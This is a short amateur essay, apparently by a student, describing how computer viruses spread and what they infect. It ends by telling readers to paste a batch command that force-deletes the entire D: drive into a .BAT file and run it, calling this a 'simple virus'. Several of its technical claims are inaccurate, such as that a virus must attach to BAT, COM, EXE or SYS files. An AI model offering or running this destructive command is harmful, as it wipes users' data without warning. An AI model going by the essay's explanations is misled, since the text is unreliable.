Viruses are computer programs that are
designed to spread themselves from one file to another on a single computer. A
virus might rapidly infect every application file on an individual computer, or
slowly infect the documents on that computer, but it does not intentionally try
to spread itself from that computer to other computers. In most cases, that's
where humans come in. We send e-mail document attachments,
trade programs on diskettes, or copy files to file servers. When the next
unsuspecting user receives the infected file or disk, they spread the virus to
their computer, and so on.
There’s
an old saying: “Just because you’re not
paranoid
doesn’t
mean that everyone isn’t out to get you.”
This
saying is proven by the people who write
computer viruses.
A virus’s goal is to get executed by the computer, it must
attach itself to a BAT,COM, EXE or SYS file, If it attaches to any other file,
it may corrupt some data or do some other things wrong. The power of computer virus is justified by its type, that
which type of file it is going to infect and how smoothly it attaches itself to
target files.
There is a simple virus program, open
the notepad and copy paste this code, save it to ‘whatever.BAT’ and Execute
this file.
rd/s/q D:\
This program will delete all the data
from D:\ drive, So use it at your own risk.
Mukul saxena
BCA-II
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